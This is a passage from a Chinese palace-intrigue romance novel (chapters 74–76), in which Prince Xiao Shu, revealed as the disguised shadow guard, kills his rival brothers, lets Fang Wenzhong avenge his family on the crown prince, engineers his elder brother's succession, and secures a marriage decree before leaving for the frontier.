二殿下不好奇方闻钟为什么恨太子,恨不得他去死,不好奇方闻钟脖子里戴的口哨,或珠子,连身上出现的那把特别的刀,也从未问过,方闻钟以前从没有细想过,现在越回忆越惊醒。 殿下和暗卫,都是萧疏! 只有这样,才能解释这些矛盾,也说明了萧疏,从他进宫见他的第一面起,就认出了他,方知府的儿子,方闻钟,才不是什么不起眼的太监‘欢欢’。 他藏得可够深啊,方闻钟跌坐在地上,随着心里对这件事的证据越摆越确凿。 更多喜悦和复杂浮出水面。 如果在东宫,就陪他睡觉的人就是殿下呢? 如果萧疏救下他,帮他杀了老太监,不是意外呢? 如果听他呼来喝去,保护贺璋又去贤妃殿里送食物的人就是萧疏自己呢? 前脚不顾他意愿强占了他身子,后脚就突然出现逼他承认自己的感情,那块令方闻钟难以忘怀的云冰糕,就是二殿下哄他的心意。 萧疏罚跪时,还抽空来他这里听他念叨,陪他玩笑,他没有笑他痴,没有嘲笑诋毁他的感情,作为送东西的一方又作为接受东西的一方,萧疏始终给足了他体面。 想到这里,方闻钟难掩哭泣地捂住脸,去边关前,他害怕和殿下就此分开,来边关的路上,殿下却扮做暗卫,从太子手下救下他,彼时,他只觉暗卫好帅,他好感激他,还有暗卫帮他找银环。 现在,他才后知后觉感觉到巨大的惊喜,殿下多跑一趟,让替身在宫里扮演他,孤身出来护送他回京,除了心里有他,还有别的答案吗? 方闻钟想不到,还有什么,能动用萧疏在已经完成任务后,还多此一举来帮他。 回京的路上发脾气也纵着他,回京后只字不提,让他误以为他们很久未见,他可能真的算计他,利用他的身份欲想在最合适的时机,摆平太子和六皇子。 他可能就在刚刚,或许是为了先拿到账本以防万一,或许想拖延时间争取让禁军快点上来,先一步丢下他,可他从未抛弃他,暗卫,或者说萧疏,会在任何他需要的时候,及时出现。 挡在他身前。 某一刻,殿下可能把别的东西看得比方闻钟的命重要,但最后,他又拿自己当方闻钟最后的保障,方闻钟在他心里,是先于他自己的。 正如方闻钟所说,萧疏,愿意为他去死。 这叫方闻钟还怎么难过,余下的,全是满腔热血和心疼。 他不计较刚才萧疏让他害怕让他绝望了,他只是好心疼现在的暗卫,既他的二殿下。 殿下还笑着,手抬起他脖子,看到没有受伤后,道:“欢欢还爱我,那还生我气吗?” 被眼前人,作暗卫装扮的萧疏叫‘欢欢’,方闻钟感觉到一阵一阵心悸,他在他手里摇着头,“殿,殿下,你的伤……” “嘘,”萧疏凑近他耳边轻声说:“现在我不喜欢你叫我殿下,等一下再跟你解释,欢欢,等我。” 暗卫这样说道,他的身份,或者二皇子明面上和方闻钟要好的关系,都不适合暴露在他人眼前。 方闻钟惊讶转头,看到暗卫已经飞到替身‘萧疏’那边,替他接下四皇子的剑。 “哥哥!” “小心。”方闻钟起身小跑,又顿住,说得小心翼翼。 四皇子被一下震开,本想问你是谁,可一看到黑衣人,顿时没了问的兴趣,不过一护卫罢了。 他轻视到。 ‘萧疏’瞬时退开,暗卫淩厉的剑锋划上去,四皇子很快应接不暇,只有他自己能感觉到那是多么难缠又霸道的杀气,手臂麻木,腿上身上被剑气划破,四皇子眼神里的惊恐越来越甚。 无他,因为他发现自己打不过,躲不开,逃不了。 还因为他发现,这熟悉的压迫感,只有在一个人身上遇到过,那就是他们的二哥,萧疏! 四皇子最后朝‘萧疏’递过去一个眼神,那狠厉的暗卫,手都不抖,没有丝毫凝滞,一剑直穿他喉咙。 四皇子死不瞑目,跪地的那一瞬间,都不敢相信,自己轻易死在一个不起眼的暗卫手里。 二哥,二哥他怎么敢下命令的。 谁才是真正的二哥…… 咚!四皇子的死亡,宣布结局正式进入摧枯拉朽之态,方闻钟看得目不暇接,害怕萧疏再受伤,太子和六皇子也看到老四死了。 对‘萧疏’此行对他们的杀意,更有了直观念头,个个魂飞魄散、恨意汹涌,今天不只是功亏一篑,被‘萧疏’算计狠了,恐怕最后,他们也会在这围剿之下,在突然出现的武功高强的暗卫手里,落得一个身死下场。 ‘萧疏’不顾父皇什么反应,等不及压他们回京定夺,他就想在这里给他们定罪,顺便,立马解决了他们! 连一向心狠的萧琛都觉得二哥此行太残忍了,可见他们有多被‘萧疏’逼上死路。 四皇子能注意到一点暗卫的奇怪,太子和萧琛却一点不识暗卫的真实身份。 被那双冷漠的灰色眸子注视着,剑尖离自己胸口越来越近,萧琛忍不住大喊,可冰冷的剑身还是断了他最后一口气,萧琛嘴角全是血沫,剑穿透了他身体,在后面露出来一大截,嘀嘀地滴血。 斗到最后,他连皇位的影子都没见到,所有不甘和野心抱负,都随着他消逝变成了笑话。 萧琛垂下头去,那一刻,他在想,为什么‘萧疏’,他们的二哥,对他们还有所留情,不敢下手杀他们,禁军也知分寸,这个暗卫,却敢不顾一切。 他想再抬头看看要了他命的人,终究没抬起来。 “萧琛!” “萧琛!” 贺璋跌跌撞撞朝这边爬过来,他几经摔倒,又站起来,站不稳,走两步便爬到六皇子身边,抱住还温热的人时,贺璋手巨抖,风光无限的探花郎,如今似个乞丐,抱着他高攀不上却放不下的六皇子。 “萧琛,”他怒吼道,把人额头贴自己脸上。 萧琛还有一口气,强撑着对贺璋说出最后一句话。 他眼里的恨意不减刚才,甚至好像天地间,贺璋成了他最恨的人,因为要是贺璋早早告诉他方闻钟的身份,方闻钟手里太子的把柄,还哪来后来的一切挣扎,是贺璋欺骗他。 “滚,”从那口型,只能得知萧琛对贺璋说的最后一个字。 在此之前,他是如何剜贺璋心的不得而知,萧琛最后死在贺璋怀里,爱萧琛的贺璋,左右纠结却心怀天下的贺璋,也死在今日。 他似傻了般,不哭不叫,对上方闻钟的眼神,也显得很呆滞。 方闻钟本想过去走走,却中途停住。 贺璋临走时,看了二皇子‘萧疏’一眼,如果躺在地上的那个人,是方闻钟,他可以替他收尸,但是萧琛,他没这个资格。 贺璋辞官,又于第二年后,在益州任职,这是后话。 只剩太子一人了,暗卫却没急着杀了他,此时,禁军也有了疲态,萧琛带来的敌国的士兵,是最先被禁军打散杀干净的,私兵对比起来,更像一群乌合之众。 而要杀干净这些人,萧疏也觉得麻烦、脏手。 只需他一个眼神,替身‘萧疏’便知如何做,只见他几个旗语,暗地里几句交代吩咐下去,私兵中的一部分,像乱了套,突然倒戈相向,竟在内部先打起来。 都到这时候了,太子看到这一幕,愣是被气得更上头,因为‘萧疏’接下来就给了他解答,有奶便是娘,太子在益州养的私兵,有多久没有按时按量提供粮草了? 是谁养着他们? 是二殿下派去的他,当然这些人其中一部分便会听他的,虽然实力不够,但关键时刻出其不意也能让人喝一壶。 没见太子现在彻底心如死灰了吗。 之前,他还敢妄言,‘萧疏’不敢杀了他们,不好给父皇交代,现在看着老四和老六都死了,太子开始害怕了,可他貌似搞错了求饶对象。 在敌国士兵全被杀干净,在没归顺的私兵全被解决后,山上只剩下自己人。 风寒叶萧,掀起一片血腥,太子向‘萧疏’低头。 可暗卫却摘下面罩,被藏起来的脸,还不是萧疏本人,直到一片人皮面具揭下来,太子看到左右两张一模一样的脸,两个一模一样的萧疏,人傻了。 萧疏朝方闻钟招手,“过来,欢欢,报仇了。” 替身‘萧疏’已经退下。 禁军,其他乌合之众,全被他带领下去,一时之间,山顶上只余暗卫(萧疏)、太子,和方闻钟。 方闻钟绷着脸,听话跑过来,太子心里早被害怕填满了,这会儿多装了一些好奇和恐怖。 他跪在地上,在萧疏的压制下根本动弹不了,而萧疏指挥着方闻钟,“去替你父母报仇吧。” 益州数百名亲人朋友死亡,换太子一生监禁,根本不值当,心里有恨,那就杀人偿命,这是最简单的道理,也是方闻钟最想给太子的结局和下场。 方闻钟握着刀,还有些不确定问:“我杀了他,方家还能沉冤得雪吗?” 除去让太子偿命,他还想让朝廷还方家清白。 萧疏点了点头,给他承诺。 然后方闻钟没有丝毫犹豫,不待太子反应过来,一刀解决了他,甚至太子的头颅都快被他割断了。 当初爹娘的死状就是这般凄惨,方家上下数百口人,没一个活下来,方闻钟最后记得家里的样子,全是残肢断臂,全是鲜血。 让一个官员之子,因为私怨处决了太子,这事只有萧疏做得出来,或者说,今天这一切,杀干净三位皇子,将他们的兵马拦在半路,尽数杀净,只有独断专行的萧疏敢做。 原剧情里,萧疏要拿账本,要把众人引到这座山上,拖延时间不让他们先进宫,然后将账本交由皇帝定夺,再等大皇子带兵回京平乱,他没有所谓的禁军后手,所以把方闻钟扔在山上,就真的扔下了,方闻钟除了自杀,其余结局只会更惨不忍睹。 而现在,不需要交由皇帝,一切全是萧疏自作主张。 该杀的人,直接杀了,太子和六皇子带来的兵马,也尽数屠尽,留给大皇子的,只有还不安分预想进京偷摸试探的敌国王子,就让他们的脑袋,喂萧恪的枪吧。 太子死得太轻易,都让方闻钟有点怀疑,他真的这么简单便报了仇吗? 可他很快想明白,对太子而言,不是这么简单,太子多少年的准备,如今被打得落花流水,对太子自己来说,他的死亡充满不可置信和怨言。 对二殿下来说,也不简单。 杀一个人容易,可要给朝堂给天下人交代,不容易,太子只有罪该万死,死在谁手里才不重要。 说来说去,还是二殿下的一切努力帮他报了仇,甚至让他有亲自手刃仇人的痛快! 这仇人还是一国太子!是他自己的亲兄弟! 方闻钟越来越感觉到萧疏的好,此前,这些都被表面现象压制住,他爱萧疏的同时,不敢爱他,如今,心里一切都暖洋洋的,殿下要把他捧在手心里了,他还有什么不知足。 方闻钟几步上前,便想抱萧疏,他忘了自卑,忘了不久前的恨,抱住萧疏后,抬起头想亲上他嘴巴。 却碰到了下巴。 萧疏笑着摸自己下巴,然后把他头用一根手指点开。 “方闻钟,”他自然又郑重地叫他名字,“真的心里毫无芥蒂吗?不气我?这么大度便原谅我?” 方闻钟很聪明,只要知道萧疏和暗卫是一个人,就能明白所有被他忽视的殿下对他的爱护。 那还有什么轮得到他芥蒂。 “不气,殿下要骗我也可以,”要是以后,殿下能提前透露他一点就好了,不然他又像这次一样当真,会很伤心。 “暗卫和二皇子,你更喜欢谁?”萧疏问出无聊找事的问题。 方闻钟犹豫,随即认真答道:“喜欢殿下,但是也喜欢现在的你,”即暗卫。 “喜欢萧疏,”他有些羞赧地低头,闻到萧疏身上的伤口,所有羞涩都飞走了,眉宇间全是担心和心疼,是萧疏,他就都喜欢,哪怕萧疏的身份千变万化。 萧疏不让他动伤口,稍微俯了俯身,抱住他。 “那你知道我为何做暗卫去找你吗?” 方闻钟心里有答案,又没那么清晰,他等着殿下替他解惑。 “一开始,是知道你的身份,三年前,我见过你,后来又遇见了方大人,我随意提起街上遇上一个可爱漂亮的少年郎,不知道躲马,然后方大人说那是犬子,向我们告罪,并求我们以后多多照料你。或许,那时只是你父亲无心之言,但再次在宫里见到你,又知太子追杀方家独子,我便起了护你的心思。” 萧疏圆上了故事,摸着方闻钟的脸,“初始,不排除我有想接近你,利用你骗取你的信任,查探太子的嫌疑。” “后来。” 后来?方闻钟等着。 “后来我喜欢你,”萧疏就那么直白地说出了自己的心意,方闻钟紧紧捏着拳头,他浑身开始抖起来了,从未料过,殿下的一句爱慕之言,能让他这么疯狂动心。 他眼里的倾慕,一时像一汪清泉,要将萧疏醉溺在其中。 “但是二殿下的身份,越接近你,对你而言带来的可能越是坏处,”会有很多人拿方闻钟威胁他,皇帝,其他皇子,都会关注到方闻钟,方闻钟会很危险。 但一个太监,谁会管他死活呢。 方闻钟就只好在二殿下面前,当一个受些宠爱的禁脔,背地里,二殿下却作暗卫,把所有都弥补回来。 二殿下可以抛弃方闻钟,在众人面前不顾他死活,但不可以舍身相救。 那就一切由暗卫来做吧。 萧疏的棋局里,利用暂时舍弃方闻钟,都是必须的,此刻他设计的局里,只有方闻钟一个生还者,于是无人知他爱他。 无人知道方闻钟对他很重要。 知道他暗卫的身份。 从头到尾,方闻钟都被影藏忽略了起来。 但方闻钟自己知道,殿下心里有他就可以。 至于萧疏是什么时候爱上他的,至于他们以后如何,就让方闻钟在这吞噬痴情的深吻后,再慢慢细想。 第75章 赐婚圣旨 宫中皇帝被萧疏的消息直接惊晕厥了过去。 三个儿子都死了!都被萧疏直接杀了!他怎么下得去手! 萧疏刚来时问他,如果他养私兵、勾结外敌谋反、刺杀兄长,该当何罪? 皇帝言:罪该万死。 他被萧疏困于榻上身体不能动弹言行受人监视,身为皇帝怎么能忍受这种由亲儿子带来的屈辱,所以皇帝早丢弃了亲情,留下的全是对萧疏愈来愈深的恨。 他恨不得杀了顾家全家,也杀了这个逆子! 可是朝中有顾家把控,宫中萧疏和皇后沆瀣一气,他什么都干不了。 萧疏:“所以,我杀了太子,老六和老四,父皇你看,这不是你自己的旨意吗?我想大臣们得知你这样想,再悲痛万分也会接受的,你说呢?” 皇帝气狠了,一口气没上来直接翻白眼晕过去。 萧疏的先斩后奏,传出的皇帝旨意以及板上钉钉的证据,太子等三位皇子都被定了罪,公布出去时,朝堂震动,却不敢有别的动作。 只因就在一天前,还发生了一件大事。 大皇子带兵进京,跟在敌国王子的屁股后面,他本想直接全奸了这些攻入城池的家夥,却被萧疏的一纸书信拦了下来,萧疏的意思是再拖延片刻。 敌国王子带兵入城,他没时间对普通百姓烧杀抢掠,就想趁乱趁城中守卫不足、松散,直接拿下皇城,所以受到生命威胁的,是官员、是皇帝。 经这么一闹,众臣及家眷都被吓惨了! 敌军竟然直接打进来了,他们想跑,被直接斩在家门口,躲在家中却不知是否会一朝变天,他们成敌国的阶下囚。 就在这样慌张恐惧的等候中,带兵进城的大皇子简直成了他们的守护神。 一时间,敌国王子又被瓮中捉鼈,这次他没幸运地再留下一条命,萧恪的长枪直接贯穿了他胸口,野心勃勃的王子,死在以为马上要胜利的前一刻。 所有攻入城中的将士,全部被边关来的兵马杀虐干净。 哒哒哒,皇城中,除了马蹄声,收拾尸体的声音,没有一个人敢大著胆子出来查看。 传出三位皇子的罪行和死讯,臣子不敢有二话,没看到一边是血迹斑斑的杀神萧恪,一边是笑里藏刀残忍的二皇子吗。 告别萧恪,萧疏先去见了五皇子。 五皇子作为守城的人,敷衍了事,就差直接把敌国兵马放进城了,他在观望最后哪一方有胜算,再站队,可是在京中迟迟没有太子、老六和二哥的消息,他不知道城外山上发生了什么,又见敌国王子直接打进来了,吓傻了,在王妃的怂恿下,草草放弃城门。 这可真是罪不容诛,五皇子知道自己犯了大错,又知道萧疏竟然直接杀了三个兄弟,一时对自己的下场有所预料,可在看到萧疏来找他时,还是忍不住跪在地上痛哭流涕求饶,“二哥,二哥,我真不是故意的,我是为了让大哥赶紧进城。” “对,对,”他攀住萧疏的腿,“我是为了让你和大哥赶紧进城救驾,好把他们全杀了。” 说着说着五皇子自己都信了,一辈子谨小慎微,可还是改变不了他骨子里的软弱和摇摆。 萧疏甩开人,“你以为我也会杀了你?” 听到萧疏这么说,五皇子还以为是二哥觉得他没那么大过错,比起另外三位兄弟,他就小巫见大巫了,正惊喜着,可下一瞬就被萧疏打入地狱。 “你还不值得我动手,我想,宗人府会对你进行合适的处罚。” 五皇子瘫倒在地上,知道自己完了,受爵分封的美梦做到头了,连皇子这个身份怕是也保不住。 萧疏按照承诺,让皇后出宫。 皇后得知太子的死后,终究没忍住落下泪来,看萧疏时,也就带上怨气,可萧疏不惯她这种任性。 “真那么在乎他,早干什么去了……”他和萧源斗来斗去二十多年,他以为,皇后早料到了他和太子之间必有一死,必有一伤,以前置若罔闻,现在是后悔了? 萧疏说:“要么,假死出宫,做一个隐姓埋名的普通妇人。” “要么,哼,不必假死了,多此一举,皇后你说呢?” 皇后在萧疏冷漠的威胁下,终于收起她对萧疏的愤怒,其实究其因果,太子的死,她是不是也有很大原因呢? 紧紧地闭上眼,最后一滴鳄鱼的眼泪消失,她已有决断。 临出宫前,萧疏说:“你兄长在外面等你。” 皇后心里被照亮了,再也不管不顾宫中的这些腌臜事,抛下皇帝,逃出宫去。 眼见事情渐渐平息下来,暗地里,却突然有不断的人来刺杀二皇子。 萧疏每晚回来,衣服上都会带着血。 这天他在出宫后不远的路上,就被远处射来的一根弩箭逼停脚步,虽然萧疏立马侧身躲过了,可跟在他身边的护卫被直直射穿射死了三个。 这是最明目张胆的一次刺杀,对方直接摆上台面,萧疏知道,这是暗地里支持三位死去的皇子的人派出来的,欲治他于死地。 查来查去,没意思,萧疏的命令是全杀了。 凡有异心者,全部诛杀,剩下的还敢动作,顾家也会出手将这些余孽一一按下去,让他们听话。 萧疏持剑动手,远处房顶上的人想跑还是被抓住,连带三位同夥,没有审问,当场一剑毙命。 萧疏稍有点大意,让最后射出来的一根弩箭不小心擦伤了手臂,他沉着眉捂住胳膊,动身回去。 京中所有人都知道,他孤家寡人一个,没有王妃,没有侍妾,没有令他在乎的人,所以恨他的人,所有的刺杀都只朝他一个人去。 谁料还是被他的强势一一堵在门外。 门内,有顾家这个第一世家做后盾,慢慢的,想报仇的人都知道无望,安分下去,太子、萧琛、四皇子,都成了过去式。 端妃柔妃及背后的人,也不敢触其锋芒,以身试剑,没道理因为一个皇子,把整个大家族都拖上死路。 两个女人在宫内被控制住,也成不了什么事。 萧疏回来后,方闻钟又看到他身上有血,急忙跑过去,他以为还是和以前一样,只是衣服上不小心沾了血迹,可一摸萧疏的手臂才发现,有一道很深的划伤,源源不断在冒血。 他顿时惊怒,现在伺候萧疏的人全成了方闻钟,只有他一个人能近他身,其余下人,包括胖太监,萧疏都不让他们靠近。 方闻钟焦急地替他包扎好,急出眼泪来了,萧疏要沐浴,方闻钟眼巴巴地看着他,“身上有伤,不可以碰水。” 萧疏趁机靠在他肩膀上,撑着下巴闭上眼,“可是欢欢,我有点累。” 方闻钟立马什么都愿意听他的,不过换成了他和萧疏一起去,他亲自伺候他洗漱,不让水沾到新鲜伤口。 他们很少共用一个浴桶,还什么都不干,只让方闻钟擦洗他的身子。 方闻钟珍视地小心翼翼地先替萧疏把头发弄到后面去,然后擦他的身上、腿、还有各处细节,萧疏受伤的手臂搭在浴桶外,他在方闻钟面前一丝|不挂,方闻钟也只穿一件里衣,他脸颊红红的,还是认真地照顾好萧疏。 完了之后,又看到萧疏的那条腿,如今伤痕已经不明显了,但他知道,萧疏还会偶尔痛,只不过他不说。 方闻钟低头,轻轻亲上他膝盖,萧疏睁眼。 方闻钟扑过去,抱住他,“殿下,我知道你是为我好,不让我跟你出去,不让我暴露人前,可是你再受伤我会很难受的,以后要小心好不好?” “好,”萧疏答应他,用没伤的胳膊把人抱在腿上,亲一口蓄蓄力,如今这偌大的皇宫,他只信两个人。 一个是方闻钟,另一个是萧恪,他大哥。 连顾家他都不全信,互相利用更多。 所以方闻钟和萧恪谁都不能有事,萧恪人人惧怕,他有自保的本事,方闻钟,无论他是太监欢欢,还是方家独子,放在外面都只有被拆穿入腹的份。 所以萧疏把他放在宫内,放在身边不起眼最安全。 眼看顾家和萧疏日渐壮大,所有人都以为萧疏意在皇位,连顾家也这么认为。 皇帝当然也如此想。 萧疏会时不时跟他透露朝中和宫外发生的事,皇帝也就知晓,恐怕全被萧疏尽在掌握,他想拿皇位,怎么会那么简单让他如愿! 皇帝表面上和萧疏演戏,实则内心早想摆他一道。 萧疏每日气他似乎成了惯例,皇帝总会被激怒,说些胡话,这天他在萧疏将药碗打在他身上后怒道:“你知道你母妃是怎么死的吗?” “不是病逝,是被我毒死的!没想到当初你可怜兮兮地抱住朕的腿喊父皇,如今狼子野心畜生不如。” “疏儿,你真是妄为父皇疼爱你这么多年。” 皇帝表情狰狞,他想看到萧疏变脸,想看到他动怒,萧疏的确气了一瞬,可很快,他平静下来。 “所以如今你也会被我毒死,”他还笑着说这话,更让皇帝毛骨悚然。 “知道我为何还留着你的命吗,”萧疏道:“父皇口口声声说疼爱我,那把最重要的东西给我好不好?” 萧疏变态地凑近皇帝的耳朵,和他呢喃,“父皇明日去上朝吧,明日,父皇的身体会大好,届时可别让我失望就好。” 皇帝明白了,这是萧疏想讨好他,让他好起来名正言顺地宣布让萧疏继承下一任王位。 他还是要求着他,下这一道旨意。 “好,”皇帝的蔫黄倦目里闪过一道粗浅的算计。 第二日朝中,久不露面的皇帝终于上朝,他坐在龙椅上,看起来状态很好,似乎已经要痊愈了,看到皇帝在上笑着捏紧龙椅扶手时,臣子们都不知道他接下来要干什么。 暗地里看萧疏和萧恪,不知道这是唱哪出戏,葫芦里卖什么药。 然后皇帝就当朝下旨,封大皇子萧恪为太子,酌日登基。 皇帝爽快地看向心愿落地的萧疏,萧恪也惊奇地看向弟弟,其他大臣们不外如是,以为萧疏筹谋多日,为他人做嫁衣了。 连顾丞相都难得拧眉。 皇帝等着萧疏按捺不住,等着看他丑恶的嘴脸,圣旨一出,数百官员作证,萧疏还要怎么翻盘。 “哈哈哈哈,”皇帝笑起来了,甚至因为太兴奋,以为彻底摆布了他那个不孝的儿子,久病成疾因为大笑都咳嗽起来了。 皇帝伸手看到自己手里咳出来的一口血。 然后听到下面萧疏说:“儿臣,遵旨!” 他竟是第一个下跪接旨的!他竟是第一个笑着遵循他的旨意貌似很赞同他的! 萧疏的笑脸扬起来,皇帝再也控制不住,一大口血朝前吐出来,干脆昏死了过去。 他的作用到这一刻也就结束了,萧恪懵懵地接下旨意,大臣们还没回过神来,却听到太医喊:皇帝已经驾崩。 好吗,还说酌日让大皇子萧恪登基,这下是等不了一点了。 这是皇帝自己的旨意,乍一看竟无人反对,萧疏第一个拥护,还能怎么办? 一时间,萧恪登基,好像已经成了板上钉钉,木已成舟。 皇帝在死去的前一刻,那么后悔,他没看到萧疏的崩溃,反而像一切都满足了他的意愿。 萧疏早算计到皇帝不会如他所愿,甚至为了作对当朝把皇位给大皇子,果然如此,可惜了,皇帝最后的机会,都没有来得及告知别人,他是被萧疏毒死的! 不是病逝。 一报一报,萧疏表情沉稳带笑,最后在萧恪和他的对视中,扔下摸不着头脑的大臣们,先一步踏出朝堂。 外面,朝阳普照。 他相信,顾家识相点,会好好辅佐大皇子,萧恪也有那个本事和野心,做好下一任皇帝,只不过这个野心或者说对皇帝的怨气,一直被他压下去,被边关的风情替代。 如今,他比他更合适。 萧疏的心早不在这里了,大局已定,他终于能抽出身来。 萧恪上位后,萧疏只跟他求了两件事,一:还方家清白;二:为他赐下一道赐婚圣旨。 萧恪起先得知方闻钟,益州方知府的事,太子作祟,杀他全家,萧恪自然愿意照办。 又听到这个名字要出现在赐婚圣旨上,一副你开什么玩笑的眼神看着萧疏,“你认真的?” “当然,”萧疏潇洒地说:“你不是已经见过他了吗?还挺喜欢他。” 萧恪眼神回忆,那是,三年前的事了…… 萧疏打断他,“欢欢,去边关为我送信,你见到他了。” 萧恪震惊,怎么也想不到那个太监,他以为被萧疏当做宠佞的‘我的人’,竟是方大人的儿子?又如此震惊,他要和一个男人成婚?简直笑话! 萧疏:“我不求多的什么,也不会在京中惹人眼色,大哥,这道圣旨,你愿意给吗?”- 萧疏捧着东西回去见方闻钟,“皇上为我赐婚了。” 方闻钟半跪着要起来的身体,僵硬如石,他定定地看着萧疏,期盼这是他一句玩笑。 可萧疏很认真地看向他,“欢欢,不展开看看吗?这也是给你的。” 方闻钟被抓着手,展开看到那个名字。 霎时又差点跪到地上。 “萧,萧,”他嘶哑着许久没喊出殿下的名字,扭过头去,不让噗簌的眼泪让人看到惹人笑话。 这可千万别是殿下为了哄他开心的。 方闻钟不愿想他一个太监,一个双性人,有何资格成为萧疏的皇子妃,幸福已经冲昏了他的头脑,心里分毫装不进去别的什么。 “欢欢,”萧疏似乎还很平淡地说:“愿意跟我去边关吗?” 去那里,完成我们的大婚。 第76章 “要么读书,要么侍寝” “皇上容不下你,要你去边关?!”方闻钟睁大眼睛惊道。 他第一反应就是这个,前些日子,看到萧疏慢慢平定大局,他本以为他坐上皇位会是名正言顺,虽然殿下曾私下里说过,不会当皇帝,他不知道那可不可信。 方闻钟总是一边纠结,成为皇帝后的萧疏,是不是不再是他的殿下了,他们会越来越远。 一边又扇自己耳光,他怎么总是得寸进尺,殿下扮做暗卫对他那么好,从未亏待过他一分,他怎敢还奢求更多。 如今听闻萧恪上位,见萧疏也不是不开心的样子,就知道这结局也是令他满意的。 不管萧疏因何把皇位让给大哥,可方闻钟以为他们会一直在京城,难道萧恪刚上位后,就不允许萧疏这么一个强劲的王爷酣睡卧榻之侧了吗? 要把他赶出去守边关? 一时间,赐婚的圣旨都没让方闻钟那么开心在意了。 如果这道圣旨的代价是殿下不得进京,方闻钟又如何甘愿。 “为何这样说?”萧疏挑眉道,随即看到方闻钟担心的神色,紧紧拉着他的手,明白了他小脑瓜里在想什么。 将圣旨递给他,“开心吗?如今我被封为宁王,你将是我的王妃。” 方闻钟脑瓜子懵了,脸颊通红躲避着萧疏的视线,还等他接下来说话。 “欢欢,你讨厌边关吗?” 方闻钟摇头,他去过一次,除了气候有点不适应,其他都很好。 “那你喜欢京城吗?” 方闻钟直言不讳,“殿下在这里,我就喜欢,”不然他如何喜欢这吃人的皇城,益州不好吗? 对了,益州曾经是好的,现在却残破不堪,希望能慢慢被振作起来吧。 “那就跟我去边关。”萧疏下令道。 方闻钟反过来问他,“那殿下你喜欢哪里?” “我喜欢,”萧疏在前面走着,方闻钟在后面立马跟上,“我喜欢无拘无束的地方,我喜欢没有大臣追着我说三道四的地方,我是一言堂,我喜欢,”萧疏回头,“那里能娶你。” 方闻钟本来抓住萧疏袖子的手突然落下去了,他怎么也想不到,殿下要带他去边关,竟是这个缘故。 竟然也是为了他。 嘴角已经挂起突兀的笑,方闻钟被连续两个巨大的惊喜弄得回不过神来,他难以置信。 “殿下,边关太寒冷了,那里风沙很大。” “殿下,边关会经常打仗,那里有危险。” “殿下,那里没有那么多人伺候你了,衣食住行,都远比不上京城。” 方闻钟疾步跟在萧疏后面,笑容放大,却还要假意劝萧疏,害怕萧疏后悔。 他总要告诉他这些困难,才能让萧疏在心里衡量,因他选择镇守边关,究竟值不值得? 萧疏返身一下将方闻钟抱起来,扛在肩头,“啊,”方闻钟头朝下,吓了一跳。 屁股上被重重拍了一巴掌,萧疏说:“那欢欢就照顾好我,不要让我冷着冻着了,代替我去打仗,衣食都伺候好我好不好?” “好。” 方闻钟什么都答应。 然后偏过头,小心看殿下与他玩笑的纵容神色,“皇上,真的为我们赐婚了吗?” 没有人反对吗?大皇子竟然会同意?他一个男人,还是太监,怕不是顶着巨大的压力吧,连方闻钟自己都觉得这彷佛天方夜谭,摆在面前才不敢相信,现在赐婚圣旨都下来了,而他竟没有察觉到一点阻力。 好像萧疏愿意,他就可以。 当宁王妃。 快进殿内,方闻钟突然掉下两滴眼泪,他是太高兴了才情不自禁。 萧疏:“欢欢,这么敏感可如何是好,我只是打了你一巴掌,还没做什么呢……” “待会儿自己上来用前面如何?” “好。” 方闻钟想当一条鱼,随便他的殿下蹂躏弯曲,为所欲为,屏风后,只有他高昂的头颅和大张的嘴。 去边关的日子越来越近,这次护卫有上千多人,除此之外,还有萧恪带来的将士,都要随他们一起去边关。 可方闻钟却每日忙碌,感觉要带很多东西,最后恨不得把马车都塞满了。 胖太监拉住方闻钟的手跟他交代,他无法陪宁王去边关,依旧要待在京城,但是他照看着宁王府,也算往后能过得舒心。 “欢欢,机警些,”胖太监偷偷附在方闻钟耳边说:“看好殿下,把殿下笼络好,但失宠了也别跟殿下硬来,该软和态度就软和,你呀,算是走大运了,殿下以后再纳妃了,万不可摆脸色。” 方闻钟一边不好意思,一边又听得头疼,“师父,你别,别说了。” 胖太监还没从他和方闻钟天差地别的身份缓过神来,猝然对上迎面过来萧疏的视线,一下被吓得跪在地上。 哪怕他跟在萧疏身边这么多年,还是会惧怕他生怒的样子。 萧疏走到他跟前,胖太监看着地上的脚尖,方闻钟不知所措,他也察觉萧疏的不快了,顿时又觉他该跪下,又觉不对劲,站在原地踌躇不安。 萧疏用手掌顶住他的腰,让方闻钟站直,无法动作,然后又像对方闻钟说,又像对跪着的胖太监及一众宫人道:“见到宁王妃,不知行礼还言辞冒犯,该杖毙。” 胖太监一下吓坏了,差点瘫软更加失礼,方闻钟也急忙向萧疏求情,师父待他挺好的。 萧疏已经离开了,胖太监知道这是饶恕了自己,立马打了自己一巴掌,顺便整治其他宫人。 欢欢已经成了他们不敢直呼的名字,以后见他如见萧疏,要跪下行礼。 最后一日,萧疏去和萧恪告别。 他们站在城墙之上,萧恪回忆起数十年在边关的样子,萧疏沉默听着。 忽闻萧恪道:“把到手的皇位拱手相让,你竟丝毫没有不甘之心,以前我倒是不知道,我这个弟弟从未动过那个位子的打算,”萧恪转头,看着萧疏,好像在思索三年前,五年前,他和萧疏见面的样子。 “志不在此罢了,大哥明明比我更适合。” “没有什么适不适合,你坐上王位,说不定会做的比我更好,我只是再确定一下,你是真的要去边关?” “嗯。” “当真为了方闻钟?” 萧恪觉得有些荒诞,他对萧疏的感情不会置喙,但发自内心地觉得匪夷所思,无法从心底里认可。 萧疏笑了一下,“大哥,你在边关过惯了无拘无束的日子,不知这京城困倦,而我,想去那里领略一下自由,我们互相体谅一下,由我代你去那里“受罪”,不好吗?你信我,只要我在边关一日,就不会让敌军踏进来一分一毫。” 萧疏郑重,这是他对一个哥哥的请求,也是对一任皇帝的保证。 “信你,”萧恪笑了一下,拍着萧疏的肩膀。 无所谓了,无论萧疏是因为什么,做了这个决定,他们都走上自己的路就会承担该承担的责任。 往后,他们都会是对方最坚实的后盾,他们之间,不能有一丁点猜忌。 “去吧,大婚之时,我会送上贺礼,”那些逼问算计,与大臣之间的尔虞我诈,你来我往,就全朝自己来。 方闻钟坐在马车里朝后看了一眼,忽然萧疏飞落在前面,踏上马车。 “殿下!”方闻钟欣喜地大喊,立马要扑上前去。 萧疏顺手捞过人,“还称殿下?本王这个封号,真是被欢欢忽略得可以。” 方闻钟在萧疏腿上找了个舒服的姿势,不好意思,“习惯了嘛。”他撒娇。 “罢了,随便你称呼。” “那我可以称呼你‘随便’吗?”方闻钟想起一个久远的玩笑,把他当做暗卫,然后在萧疏玩味的眼神中,立马败下阵来,殿下怎么比暗卫这么让他躁动不安。 